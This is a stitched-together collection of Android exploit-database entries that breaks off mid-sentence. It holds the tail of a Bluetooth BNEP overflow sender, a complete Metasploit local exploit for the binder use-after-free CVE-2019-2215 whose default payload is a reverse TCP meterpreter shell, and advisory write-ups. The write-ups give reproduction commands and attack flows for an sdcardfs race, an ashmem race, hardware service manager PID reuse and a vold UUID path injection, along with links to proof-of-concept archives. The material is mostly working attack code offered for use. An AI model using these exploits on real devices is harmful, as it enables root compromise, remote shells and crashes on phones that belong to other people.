pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
return pkt
bad_packet = packet('AAAABBBB')
log.info('Connecting...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, 1500)
sock.connect((target, port))
log.info('Sending BNEP packets...')
for i in range(count):
sock.send(bad_packet)
log.success('Done.')
sock.close()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Common
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => "Android Binder Use-After-Free Exploit",
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # discovery and exploit
'Maddie Stone', # discovery and exploit
'grant-h', # Qu1ckR00t
'timwr', # metasploit module
],
'References' => [
[ 'CVE', '2019-2215' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],
[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],
[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],
],
'DisclosureDate' => "Sep 26 2019",
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ "android", "linux" ],
'Arch' => [ ARCH_AARCH64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
'WfsDelay' => 5,
},
'DefaultTarget' => 0,
}
))
end
def upload_and_chmodx(path, data)
write_file path, data
chmod(path)
register_file_for_cleanup(path)
end
def exploit
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" )
exploit_data = File.read(local_file, {:mode => 'rb'})
workingdir = session.fs.dir.getwd
exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
upload_and_chmodx(exploit_file, exploit_data)
payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
upload_and_chmodx(payload_file, generate_payload_exe)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end
# Exploit Title: Android 7-9 - Remote Code Execution
# Date: [date]
# Exploit Author: Marcin Kozlowski
# Version: 7-9
# Tested on: Android
# CVE : 2019-2107
CVE-2019-2107 - looks scary. Still remember Stagefright and PNG bugs vulns ....
With CVE-2019-2107 the decoder/codec runs under mediacodec user and with properly "crafted" video (with tiles enabled - ps_pps->i1_tiles_enabled_flag) you can possibly do RCE. The codec affected is HVEC (a.k.a H.265 and MPEG-H Part 2)
POC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47157.zip
Tested on a Pixel 2 (walleye):
[ro.build.ab_update]: [true]
[ro.build.characteristics]: [nosdcard]
[ro.build.date]: [Mon Jun 4 22:10:18 UTC 2018]
[ro.build.date.utc]: [1528150218]
[ro.build.description]: [walleye-user 8.1.0 OPM2.171026.006.G1 4820017 release-keys]
[ro.build.display.id]: [OPM2.171026.006.G1]
[ro.build.expect.baseband]: [g8998-00202-1802061358]
[ro.build.expect.bootloader]: [mw8998-002.0069.00]
[ro.build.fingerprint]: [google/walleye/walleye:8.1.0/OPM2.171026.006.G1/4820017:user/release-keys]
[ro.build.flavor]: [walleye-user]
[ro.build.host]: [wprd10.hot.corp.google.com]
[ro.build.id]: [OPM2.171026.006.G1]
[ro.build.product]: [walleye]
[ro.build.system_root_image]: [true]
[ro.build.tags]: [release-keys]
[ro.build.type]: [user]
[ro.build.user]: [android-build]
[ro.build.version.all_codenames]: [REL]
[ro.build.version.base_os]: []
[ro.build.version.codename]: [REL]
[ro.build.version.incremental]: [4820017]
[ro.build.version.preview_sdk]: [0]
[ro.build.version.release]: [8.1.0]
[ro.build.version.sdk]: [27]
[ro.build.version.security_patch]: [2018-07-05]
Android used to use a FUSE filesystem to emulate external storage, but nowadays
an in-kernel filesystem called "sdcardfs" is used instead. This filesystem does
not exist in the upstream Linux kernel, but does exist in the AOSP common kernel
tree.
In sdcardfs_create() and sdcardfs_mkdir()
(https://android.googlesource.com/kernel/common/+/android-4.14/fs/sdcardfs/inode.c),
the following code is used to temporarily override the umask while calling into
the lower filesystem:
/* temporarily change umask for lower fs write */
saved_fs = current->fs;
copied_fs = copy_fs_struct(current->fs);
if (!copied_fs) {
err = -ENOMEM;
goto out_unlock;
}
current->fs = copied_fs;
current->fs->umask = 0;
[... access lower filesystem ...]
current->fs = saved_fs;
free_fs_struct(copied_fs);
This is wrong; as a comment in include/linux/sched.h explains, ->fs must not be
accessed without holding the corresponding task lock:
/* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
spinlock_t alloc_lock;
For example, the procfs per-task entries "root" and "cwd" access the ->fs member
of remote tasks under the task lock:
static int proc_cwd_link(struct dentry *dentry, struct path *path)
{
struct task_struct *task = get_proc_task(d_inode(dentry));
int result = -ENOENT;
if (task) {
task_lock(task);
if (task->fs) {
get_fs_pwd(task->fs, path);
result = 0;
}
task_unlock(task);
put_task_struct(task);
}
return result;
}
This bug can be triggered by any context that can create files in an sdcardfs
mount, so normal applications with zero permissions can hit it (by using
/sdcard/Android/data/{packagename}/, which does not require the external storage
permission).
To reproduce the bug in a simple way, compile the attached poc_viaadb.c:
$ /usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc_viaadb poc_viaadb.c -pthread
Push the resulting binary to the device, and run it:
$ adb push poc_viaadb /data/local/tmp/
poc_viaadb: 1 file pushed. 13.5 MB/s (2640776 bytes in 0.187s)
$ adb shell /data/local/tmp/poc_viaadb
Now you should see a lot of "target: [...]" messages, followed by the device
freezing and rebooting.
After rebooting, pull a bug report via ADB ("adb bugreport") and look for a
crash message in the "LAST KMSG" section. The type of crash you see might vary,
since there's a lot of different ways in which this code can crash, but here's
an example of how it might look - a crash inside the memory allocator:
================================================================================
[ 997.010495] c7 1718 Unable to handle kernel paging request at virtual address fffffff2873e1180
[ 997.010522] c7 1718 pgd = 0000000000000000
[ 997.010537] [fffffff2873e1180] *pgd=0000000000000000, *pud=0000000000000000
[ 997.010632] c7 1718 ------------[ cut here ]------------
[ 997.010646] c7 1718 Kernel BUG at 0000000000000000 [verbose debug info unavailable]
[ 997.010661] c7 1718 Internal error: Oops - BUG: 96000005 [#1] PREEMPT SMP
[ 997.010675] Modules linked in: htc_battery synaptics_dsx_rmi_dev_htc synaptics_dsx_fw_update_htc synaptics_dsx_core_htc
[ 997.010721] c7 1718 CPU: 7 PID: 1718 Comm: GLThread 41 Not tainted 4.4.88-g3acf2d53921d #1
[ 997.010736] c7 1718 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[ 997.010750] c7 1718 task: 0000000000000000 task.stack: 0000000000000000
[ 997.010776] c7 1718 PC is at kmem_cache_alloc+0x88/0x228
[ 997.010798] c7 1718 LR is at kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4
[ 997.010812] c7 1718 pc : [<ffffff9f4d9df18c>] lr : [<ffffff9f4de4e054>] pstate: 60400145
[ 997.010824] c7 1718 sp : fffffff2058ebbb0
[ 997.010836] x29: fffffff2058ebbf0 x28: fffffff2089c9b80
[ 997.010868] x27: ffffff9f501f4000 x26: fffffff2089c9b80
[ 997.010893] x25: fffffff18e07a448 x24: 0000000000000001
[ 997.010912] x23: fffffff2089c9b80 x22: fffffff239402b00
[ 997.010930] x21: fffffff2873e1180 x20: 00000000024000c0
[ 997.010952] x19: ffffff9f4de4e054 x18: 0000000000001600
[ 997.010959] x17: 0000007ea408ae34 x16: 00000000b0000000
[ 997.010965] x15: 000000017e4c0000 x14: 0000000000000006
[ 997.010972] x13: ffffff9f5008f490 x12: 0000000000000000
[ 997.010978] x11: 000000000012abd7 x10: 000000000012abcf
[ 997.010984] x9 : 0000000000000000 x8 : 000000000012abcf
[ 997.010990] x7 : 00000007fdcf4000 x6 : fffffff2058ebc28
[ 997.010996] x5 : fffffff2058ebc28 x4 : 0000000000000001
[ 997.011002] x3 : 0000000082cb5000 x2 : 0000000000000018
[ 997.011008] x1 : 00000000024000c0 x0 : fffffff239402b00
[ 997.011015] c7 1718
[ 997.011015] c7 1718 PC: 0xffffff9f4d9df14c:
[ 997.011019] f14c b9401ae9 51000529 b9001ae9 35000069 f94002e9 37080449 f94002c9 d538d08a
[ 997.011040] f16c 8b090149 f940052a eb0a011f 54fffdc1 f9400135 b4000bb5 b98022c9 9100210b
[ 997.011060] f18c f8696ab8 b9401ae9 11000529 b9001ae9 f94002c9 d538d08a 8b090149 f9800131
[ 997.011080] f1ac c87f652a ca15014a ca080339 aa190159 b5000079 c82a2d38 35ffff4a b9401ae8
[ 997.011101] c7 1718
[ 997.011101] c7 1718 LR: 0xffffff9f4de4e014:
[ 997.011105] e014 b40004ca aa1703e1 2a1f03e2 97ee702c 910023e0 aa1603e1 aa1703e2 97f50b24
[ 997.011125] e034 b5000420 b94023e4 12000888 34000408 f9471360 52801801 72a04801 97ee442d
[ 997.011145] e054 aa0003e8 b40005a8 f9400be9 11000718 2a1f03e0 6b14031f f9001109 f9400fe9
[ 997.011164] e074 910082d6 f9001509 b94027e9 b9001109 f94007e9 f9000d09 b94023e9 a9037d09
[ 997.011185] c7 1718
[ 997.011185] c7 1718 SP: 0xfffffff2058ebb70:
[ 997.011189] bb70 4de4e054 ffffff9f 058ebbb0 fffffff2 4d9df18c ffffff9f 60400145 00000000
[ 997.011209] bb90 4fe2f270 ffffff9f 4fe2fe98 ffffff9f 00000000 00000080 4fe2cee8 ffffff9f
[ 997.011230] bbb0 8e07a448 fffffff1 a2257020 fffffff1 00000001 00000000 00000020 00000000
[ 997.011250] bbd0 0a083ac8 0000007e 4fe2cee8 ffffff9f 00000002 00000000 8e07a400 fffffff1
[ 997.011270] c7 1718
[ 997.011274] c7 1718 Process GLThread 41 (pid: 1718, stack limit = 0x0000000000000000)
[ 997.011278] c7 1718 Call trace:
[ 997.011283] c7 1718 Exception stack(0xfffffff2058eba80 to 0xfffffff2058ebbb0)
[ 997.011288] c7 1718 ba80: fffffff239402b00 00000000024000c0 0000000000000018 0000000082cb5000
[ 997.011292] c7 1718 baa0: 0000000000000001 fffffff2058ebc28 fffffff2058ebc28 00000007fdcf4000
[ 997.011297] c7 1718 bac0: 000000000012abcf 0000000000000000 000000000012abcf 000000000012abd7
[ 997.011301] c7 1718 bae0: 0000000000000000 ffffff9f5008f490 0000000000000006 000000017e4c0000
[ 997.011306] c7 1718 bb00: 00000000b0000000 0000007ea408ae34 0000000000001600 ffffff9f4de4e054
[ 997.011310] c7 1718 bb20: 00000000024000c0 fffffff2873e1180 fffffff239402b00 fffffff2089c9b80
[ 997.011315] c7 1718 bb40: 0000000000000001 fffffff18e07a448 fffffff2089c9b80 ffffff9f501f4000
[ 997.011319] c7 1718 bb60: fffffff2089c9b80 fffffff2058ebbf0 ffffff9f4de4e054 fffffff2058ebbb0
[ 997.011323] c7 1718 bb80: ffffff9f4d9df18c 0000000060400145 ffffff9f4fe2f270 ffffff9f4fe2fe98
[ 997.011327] c7 1718 bba0: 0000008000000000 ffffff9f4fe2cee8
[ 997.011332] c7 1718 [<ffffff9f4d9df18c>] kmem_cache_alloc+0x88/0x228
[ 997.011337] c7 1718 [<ffffff9f4de4e054>] kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4
[ 997.011342] c7 1718 [<ffffff9f4de3f3d8>] kgsl_ioctl_gpu_command+0x114/0x288
[ 997.011347] c7 1718 [<ffffff9f4de4eb4c>] kgsl_ioctl_helper+0x134/0x1b8
[ 997.011351] c7 1718 [<ffffff9f4de4ec00>] kgsl_ioctl+0x30/0xbc
[ 997.011357] c7 1718 [<ffffff9f4da00dd0>] do_vfs_ioctl+0x434/0x884
[ 997.011361] c7 1718 [<ffffff9f4da012a8>] SyS_ioctl+0x88/0x94
[ 997.011367] c7 1718 [<ffffff9f4d883b0c>] __sys_trace_return+0x0/0x4
[ 997.011373] c7 1718 Code: f9400135 b4000bb5 b98022c9 9100210b (f8696ab8)
[ 997.011417] c7 1718 ---[ end trace aea07a0c0fb86e0d ]---
[ 997.015389] c7 1718 Kernel panic - not syncing: Fatal exception
================================================================================
Note that another possible way in which the memory corruption can happen is
corruption of a spinlock - in that case, the phone won't panic, but messages
about a soft kernel lockup will start appearing in dmesg after some time.
Experimentally, that seems to happen if the chaos_worker thread is removed from
the PoC.
I have verified that this bug can also be triggered from a normal Android app.
To reproduce that, follow these steps:
- install https://play.google.com/store/apps/details?id=org.connectbot on the
phone
- run "adb shell mkdir /sdcard/Android/data/org.connectbot"
- run "/usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc poc.c -pthread"
- run "adb push poc /sdcard/Android/data/org.connectbot/"
- on the phone, open a local terminal in connectbot
- in the terminal:
$ cd /data/data/org.connectbot
$ cp /sdcard/Android/data/org.connectbot/poc .
$ chmod +x poc
$ ./poc
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45558.zip
The MemoryIntArray class allows processes to share an in-memory array of integers backed by an "ashmem" file descriptor. As the class implements the Parcelable interface, it can be inserted into a Parcel, and optionally placed in a Bundle and transferred via binder to remote processes.
Instead of directly tracking the size of the shared memory region, the MemoryIntArray class calls the ASHMEM_GET_SIZE ioctl on the ashmem descriptor to retrieve it on-demand. Previously, the code made a single call to ASHMEM_GET_SIZE in order to retrieve the region's size, both before mapping it, and before unmapping it. Since the region's size could be set via ASHMEM_SET_SIZE until the region has been mapped, this opened the possibility for race conditions where an attacker alters the size in-between the first size retrieval and the mapping operation.
This issue has since been addressed (CVE-2017-0412), using the following pattern:
(see http://androidxref.com/8.0.0_r4/xref/frameworks/base/core/jni/android_util_MemoryIntArray.cpp#69)
1. int ashmemSize = ashmem_get_size_region(fd);
2. if (ashmemSize <= 0) {
3. jniThrowException(env, "java/io/IOException", "bad ashmem size");
4. return -1;
5. }
6.
7. // IMPORTANT: Ashmem allows the caller to change its size until
8. // it is memory mapped for the first time which lazily creates
9. // the underlying VFS file. So the size we get above may not
10. // reflect the size of the underlying shared memory region. Therefore,
11. // we first memory map to set the size in stone an verify if
12. // the underlying ashmem region has the same size as the one we
13. // memory mapped. This is critical as we use the underlying
14. // ashmem size for boundary checks and memory unmapping.
15. int protMode = owner ? (PROT_READ | PROT_WRITE) : PROT_READ;
16. void* ashmemAddr = mmap(NULL, ashmemSize, protMode, MAP_SHARED, fd, 0);
17. if (ashmemAddr == MAP_FAILED) {
18. jniThrowException(env, "java/io/IOException", "cannot mmap ashmem");
19. return -1;
20. }
21.
22. // Check if the mapped size is the same as the ashmem region.
23. int mmapedSize = ashmem_get_size_region(fd);
24. if (mmapedSize != ashmemSize) {
25. munmap(reinterpret_cast<void *>(ashmemAddr), ashmemSize);
26. jniThrowException(env, "java/io/IOException", "bad file descriptor");
27. return -1;
28. }
As we can see above, the code verifies that the size retrieved prior to mapping and after performing the mapping operation are equal, thus attempting to eliminate the race condition. However, looking at the ashmem driver, the following code is used to implement the ASHMEM_SET_SIZE ioctl:
(see http://androidxref.com/kernel_3.18/xref/drivers/staging/android/ashmem.c#753)
a. case ASHMEM_SET_SIZE:
b. ret = -EINVAL;
c. if (!asma->file) {
d. ret = 0;
e. asma->size = (size_t) arg;
f. }
g. break;
The ioctl does not acquire the "ashmem_mutex" to perform the ioctl itself. Therefore, an "mmap" operation could be in-flight, while the ASHMEM_SET_SIZE ioctl is being processed. This opens up the possibility to the following schedule, triggering a race condition:
[Process A]:
1. Attacker sends a MemoryIntArray with a crafted ashmem file descriptor in a Bundle, and with a small size
[System Server]:
2. Target process (e.g., system_server) unparcels the bundle with the MemoryIntArray, instantiating it
3. This triggers the code path above, executing lines 1-16
[Process A]:
4. Attacker calls ASHMEM_SET_SIZE, either during or before the mmap call
4.1. Lines a-c are executed, asma->file is still NULL
[System Server]:
5. Target process continues executing lines 16-24
5.1. Target process sees the old size, as the ASHMEM_SET_SIZE operation didn't complete yet
5.2. Therefore, the condition at line 24 is not satisfied
[Process A]:
6. Lines d-f are executed, setting the size to a new value
[System Server]:
7. Some time later, target process runs the finalizer, which retrieves the new size, and uses it to munmap the descriptor
7.1. This causes an inter-process munmap with an attacker-controller size
This issue can be exploited similarly to the previous ashmem bugs -- once a larger "munmap" is performed in the target process, it can be used to "free" a data structure such as a thread's stack, allowing the attacker to replace it with their own controlled contents.
While the exploitable condition is present in MemoryIntArray, I believe a fix should also be applied to the kernel to prevent such conditions from occurring in other contexts. Namely, the ashmem driver should acquire the "ashmem_mutex" during the ASHMEM_SET_SIZE operation, in order to guarantee that no races with ongoing "mmap" operations are possible. In addition, MemoryIntArray should not rely on multiple calls to ASHMEM_GET_SIZE, but should rather perform a single ASHMEM_GET_SIZE operation and store the returned size for both the "mmap" and "munmap" operations.
To demonstrate the race condition, I've added a busy loop to the ashmem driver between lines c. and d., increasing the race window to allow for easier demonstration of the schedule above.
I've attached a PoC which triggers this race condition and causes system_server to call munmap on a large memory region. To reproduce the issue, apply the diff in "ashmem_delay.diff" to the ashmem driver, then run the attached program. Doing so should result in a large "munmap" operation in system_server, causing it to crash.
The issue can also be exploited from the "isolated_app" SELinux context (and perhaps from the Chrome sandbox?), as all that's required to leverage the attack is the ability to issue ashmem syscalls, and to interact with the ActivityManager service (which is exposed to "isolated_app").
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43464.zip
This bug is similar to Jann Horn's issue (https://bugs.chromium.org/p/project-zero/issues/detail?id=851) -- credit should go to him.
The hardware service manager allows the registration of HAL services. These services are used by the vendor domain and other core processes, including system_server, surfaceflinger and hwservicemanager.
Similarly to the "regular" service manager ("servicemanager"), the hardware service manager is the context manager node for the "hwbinder" device, allowing it to mediate access to all hardware services registered under it. This is done by allowing its users to list, access or insert services into its registry, identified by a unique full-qualified name and an instance name (see http://androidxref.com/8.0.0_r4/xref/system/libhidl/transport/manager/1.0/IServiceManager.hal).
The "add" binder call allows callers to supply a binder instance to be registered with the hardware service manager. When issued, the call is unpacked by the auto-generated hidl stub, and then passed to "ServiceManager::add" for processing. Here is a snippet from that function (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/ServiceManager.cpp#172):
1. Return<bool> ServiceManager::add(const hidl_string& name, const sp<IBase>& service) {
2. ...
3. // TODO(b/34235311): use HIDL way to determine this
4. // also, this assumes that the PID that is registering is the pid that is the service
5. pid_t pid = IPCThreadState::self()->getCallingPid();
6.
7. auto ret = service->interfaceChain([&](const auto &interfaceChain) {
8. if (interfaceChain.size() == 0) {
9. return;
10. }
11.
12. // First, verify you're allowed to add() the whole interface hierarchy
13. for(size_t i = 0; i < interfaceChain.size(); i++) {
14. std::string fqName = interfaceChain[i];
15. if (!mAcl.canAdd(fqName, pid)) {
16. return;
17. }
18. }
19. ...
20.}
As we can see in the snippet above, the function first records the pid of the calling process (populated into the transaction by the binder driver). Then, it issues a (non-oneway) transaction to the given service binder, in order to retrieve the list of interfaces corresponding to the given instance. As the comment correctly notes (lines 3-4), this approach is incorrect, for two reasons:
1. The given service can be hosted in a different process to the one making the binder call
2. Recording the pid does not guarantee that the calling process cannot transition from zombie to dead, allowing other processes to take its place
The pid is later used by the AccessControl class in order to perform the access control check, using getpidcon (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/AccessControl.cpp#63). Consequently, an attack similar to the one proposed by Jann in the original bug is possible - namely, creating a race condition where the issuing process transitions to dead state, and a new privileged tid to be created in its place, causing the access control checks to be bypassed (by using the privileged process's SELinux context).
Furthermore, this code would have been susceptible to another vulnerability, by James Forshaw (https://bugs.chromium.org/p/project-zero/issues/detail?id=727) - namely, the caller can issue a "oneway" binder transaction in the "add" call, causing the calling pid field recorded by the driver to be zero. In such a case, getpidcon(0) is called, which would have returned the current process's context (the hardware service manager can register several critical services, including the "HIDL manager" and the "Token Manager"). However, this behaviour has since been changed in upstream libselinux (https://patchwork.kernel.org/patch/8395851/), making getpidcon(0) calls invalid, and therefore avoiding this issue.
However, an alternate exploit flow exists, which allows the issue to be exploited deterministically with no race condition required. Since the code above issues a non-oneway binder transaction on the given binder object, this allows the following attack flow to occur:
1. Process A creates a hardware binder service
2. Process A forks to create process B
3. Process B receives binder object from process A
4. Process B registers the binder object with the hardware service manager, by calling the "add" binder call
5. Hardware service manager executes "ServiceManager::add", records process B's pid, calls the (non-oneway) "interfaceChain" binder call on the given binder
6. Process A receives the "interfaceChain" binder call
7. Process A kills process B
8. Process A forks and kills the child processes, until reaching the pid before process B's pid
9. Process A calls the "loadSoundEffects" binder call on the "audio" service, spawning a new long-lived thread in system_server ("SoundPoolThread")
10. The new thread occupies process B's pid
11. Process A completes the "interfaceChain" transaction
12. Hardware service manager uses system_server's context to perform the ACL check
This attack flow allows a caller to replace any service published by system_server, including "IBase", "ISchedulingPolicyService" and "ISensorManager", or register any other services of behalf of system_server.
Note that in order to pass the binder instance between process A and process B, the "Token Manager" service can be used. This service allows callers to insert binder objects and retrieve 20-byte opaque tokens representing them. Subsequently, callers can supply the same 20-byte token, and retrieve the previously inserted binder object from the service. The service is accessible even to (non-isolated) app contexts (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
I'm attaching a PoC which performs the aforementioned attack flow, resulting in the "IBase" service (default instance) being hijacked. Running the PoC should result in the following output:
pid=23701
service manager: 0x7d0b44b000
token manager: 0x7d0b44b140
TOKEN: 0502010000000000B78268179E69C3B0EB6AEBFF60D82B42732F0FF853E8773379A005493648BCF1
05 02 01 00 00 00 00 00 B7 82 68 17 9E 69 C3 B0 EB 6A EB FF 60 D8 2B 42 73 2F 0F F8 53 E8 77 33 79 A0 05 49 36 48 BC F1
pid=23702
service manager: 0x72e544e000
token manager: 0x72e544e0a0
token manager returned binder: 0x72e544e140
Registering service...
interfaceChain called!
load: 0
Killing the child PID: 0
waitpid: 23702
Cycling to pid
unload: 0
load: 0
After running the PoC, the IBase service will be replaced with our own malicious service. This can be seen be running "lshal":
All binderized services (registered services through hwservicemanager)
Interface Server Clients
...
android.hidl.base@1.0::IBase/default 23701 (<-our pid) 463
Note that this attack can also be launched from an application context (with no required permissions), as apps can access both the "hwbinder" (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#186) and the token service (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
The attached PoC should be built as part of the Android source tree, by extracting the source files into "frameworks/native/cmds/hwservice", and running a build (e.g., "mmm hwservice"). The resulting binary ("hwservice") contains the PoC code.
It should be noted that the hardware service manager uses the PID in all other calls ("get", "getTransport", "list", "listByInterface", "registerForNotifications", "debugDump", "registerPassthroughClient") as well.
These commands are all similarly racy (due to the getpidcon(...) usage), but are harder to exploit, as no binder call takes place prior to the ACL check.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43513.zip
When a USB mass storage device is inserted into an Android phone (even if the
phone is locked!), vold will attempt to automatically mount partitions from the
inserted device. For this purpose, vold has to identify the partitions on the
connected device and collect some information about them, which is done in
readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid",
then attempts to parse the results:
std::vector<std::string> cmd;
cmd.push_back(kBlkidPath);
cmd.push_back("-c");
cmd.push_back("/dev/null");
cmd.push_back("-s");
cmd.push_back("TYPE");
cmd.push_back("-s");
cmd.push_back("UUID");
cmd.push_back("-s");
cmd.push_back("LABEL");
cmd.push_back(path);
std::vector<std::string> output;
status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext);
if (res != OK) {
LOG(WARNING) << "blkid failed to identify " << path;
return res;
}
char value[128];
for (const auto& line : output) {
// Extract values from blkid output, if defined
const char* cline = line.c_str();
const char* start = strstr(cline, "TYPE=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsType = value;
}
start = strstr(cline, "UUID=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsUuid = value;
}
start = strstr(cline, "LABEL=");
if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) {
fsLabel = value;
}
}
Normally, the UUID string can't contain any special characters because blkid
generates it by reformatting a binary ID as a printable UUID string. However,
the version of blkid that Android is using will print the LABEL first, without
escaping the characters this code scans for, allowing an attacker to place
special characters in the fsUuid variable.
For example, if you format a USB stick with a single partition, then place a
romfs filesystem in the partition as follows (on the terminal of a Linux PC):
# echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1
and then connect the USB stick to a Nexus 5X and run blkid as root on the
device, you'll see the injection:
bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1
/dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
logcat shows that the injection was successful and the device is indeed using
the injected values, but vold doesn't end up doing much with the fake UUID
because fsck_msdos fails:
05-29 20:41:26.262 391 398 V vold : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
05-29 20:41:26.262 391 398 V vold :
05-29 20:41:26.263 391 398 V vold : /system/bin/fsck_msdos
05-29 20:41:26.263 391 398 V vold : -p
05-29 20:41:26.263 391 398 V vold : -f
05-29 20:41:26.263 391 398 V vold : /dev/block/vold/public:8,1
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {652 public:8,1 vfat}
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {653 public:8,1 ../../data}
05-29 20:41:26.265 813 2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=}
05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1
05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995
05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8)
05-29 20:41:26.286 391 398 E Vold : Filesystem check failed (no filesystem)
05-29 20:41:26.286 391 398 E vold : public:8,1 failed filesystem check
05-29 20:41:26.286 813 2039 D VoldConnector: RCV <- {651 public:8,1 6}
05-29 20:41:26.287 813 2039 D VoldConnector: RCV <- {400 48 Command failed}
05-29 20:41:26.288 2532 2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}:
05-29 20:41:26.288 2532 2532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0
05-29 20:41:26.288 2532 2532 D StorageNotification: state=UNMOUNTABLE
05-29 20:41:26.288 2532 2532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
05-29 20:41:26.288 2532 2532 D StorageNotification: path=null internalPath=null
For a relatively harmless example in which vold actually ends up mounting the
device in the wrong place, you can create a vfat partition with label
'UUID="../##':
# mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1
mkfs.fat 4.1 (2017-01-24)
# dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M
200+0 records in
200+0 records out
209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s
198+279 records in
198+279 records out
209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s
Connect it to the Android device again while running strace against vold:
[pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0
[pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0
[pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0
Check the results:
bullhead:/ # ls -l /mnt
total 32
drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ##
drwx--x--x 2 root root 40 1970-01-01 04:14 appfuse
drwxr-xr-x 2 root system 40 1970-01-01 04:14 asec
drwxrwx--x 2 system system 40 1970-01-01 04:14 expand
drwxr-x--- 2 root media_rw 40 1970-01-01 04:14 media_rw
drwxr-xr-x 2 root system 40 1970-01-01 04:14 obb
drwx------ 5 root root 100 1970-01-01 04:14 runtime
lrwxrwxrwx 1 root root 21 1970-01-01 04:14 sdcard -> /storage/self/primary
drwx------ 3 root root 60 1970-01-01 04:14 secure
drwxr-xr-x 3 root root 60 1970-01-01 04:14 user
bullhead:/ # mount | grep '##'
/dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro)
When testing with a normal USB stick, the attacker has to choose between using a
vfat filesystem (so that Android is capable of mounting it as external storage)
and using a romfs filesystem (so that the label is long enough to specify
arbitrary paths). However, an attacker who wants to perform more harmful attacks
could use a malicious USB storage device that is capable of delivering different
data for multiple reads from the same location. This way, it would be possible
to deliver a romfs superblock when blkfs is reading, but deliver a vfat
